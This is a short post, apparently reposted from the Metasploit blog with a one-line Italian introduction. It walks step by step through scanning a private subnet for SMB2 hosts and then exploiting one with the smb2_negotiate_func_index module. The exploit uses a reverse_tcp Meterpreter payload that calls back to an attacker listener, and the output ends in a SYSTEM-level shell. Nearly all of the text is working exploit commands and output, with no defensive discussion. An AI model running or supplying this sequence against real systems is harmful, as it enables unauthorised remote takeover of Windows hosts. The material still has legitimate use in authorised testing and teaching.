Preso direttamente dal blog di metasploit:

msf> use auxiliary/scanner/smb/smb2
msf (auxiliary/smb2) > set RHOSTS 192.168.0.0/24
msf (auxiliary/smb2) > set THREADS 100
msf (auxiliary/smb2) > run

[*] 192.168.0.142 supports SMB 2 [dialect 2.2] and has been online for 54 hours
[*] 192.168.0.211 supports SMB 2 [dialect 2.2] and has been online for 53 hours

When using Metasploit on Windows XP, socket restrictions prevent scanners from working at their full speed. We recommend using anything but XP (2000, Vista, 7) if you need to use the scanning modules inside Metasploit on Windows. Alternatively, boot the BackTrack4 Virtual Machine in VMWare.

Now that we have identified two systems with SMB2 enabled, its exploit time!

msf> use exploit/windows/smb/smb2_negotiate_func_index
msf (exploit/smb2) > set PAYLOAD windows/meterpreter/reverse_tcp
msf (exploit/smb2) > set LHOST 192.168.0.136
msf (exploit/smb2) > set LPORT 5678
msf (exploit/smb2) > set RHOST 192.168.0.211
msf (exploit/smb2) > exploit

[*] Started reverse handler
[*] Connecting to the target (192.168.0.211:445)...
[*] Sending the exploit packet (854 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 2 opened (192.168.0.136:5678 -> 192.168.0.211:49158)

meterpreter > sysinfo
Computer: WIN-UAKGQGDWLX2
OS : Windows 2008 (Build 6001, Service Pack 1).
Arch : x86
Language: en_US

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM